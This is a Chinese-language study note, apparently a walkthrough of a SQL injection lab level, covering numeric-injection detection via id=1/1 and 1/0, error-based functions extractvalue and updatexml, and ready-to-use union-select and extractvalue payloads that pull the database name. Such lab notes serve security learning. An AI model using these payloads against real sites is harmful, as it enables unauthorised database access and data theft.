知识点整理:
- 数值型注入判断手法 
- 1/1 1/0 回显不同
 
 - 错误注入函数 
- extractvalue(xml_flag,xpath) 
- xml_flag:文件表示符
 - xpath:文件路径;不能识别‘~’ ‘#’ 等特殊字符;遇到就报错并打印xpath内容
 - ~(十六进制表示):0x7e
 - #(十六进制表示):0x23
 - $:0x24
 - %:0x25
 - &:0x26
 - +:0x2b
 - 十六进制ascii表:ASCII码16进制对照表_阿斯克码16进制-CSDN博客
 - 里面的特殊字符大多都可以用
 
 - updatexml(flag,xpath,new_flag) 
- 用法同extractvalue()函数
 - 主要是xpath错误输出;其他位补全就行了
 
 - exp(709)   边界值 
- e的709次方
 - exp(710) 会报错;超出边界(8个字节)
 
 
 - extractvalue(xml_flag,xpath) 
 
通过测试发现时数字型注入
输入id=1/1发现正常回显

输入id=1/0 发现不打印输出了;说明这里存在数字型注入

测试是否可以使用联合注入;
构造payload:id=0 union select 1,2,3 --+
发现将输入的内容打印到页面上了;这里可以进行联合注入

下面来获取数据库名
构造payload:id=0 union select 1,2,database() --+
成功获取了数据库名;之后还可以获取表名、字段名、具体内容等信息(这里不做演示了)
在第一关已经展示了具体的操作

这一关还可以进行错误注入
构造payload:id=0%20or%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
成功打印出了数据库名;同样的也能通过错误注入的方式获取具体的表名和字段信息

10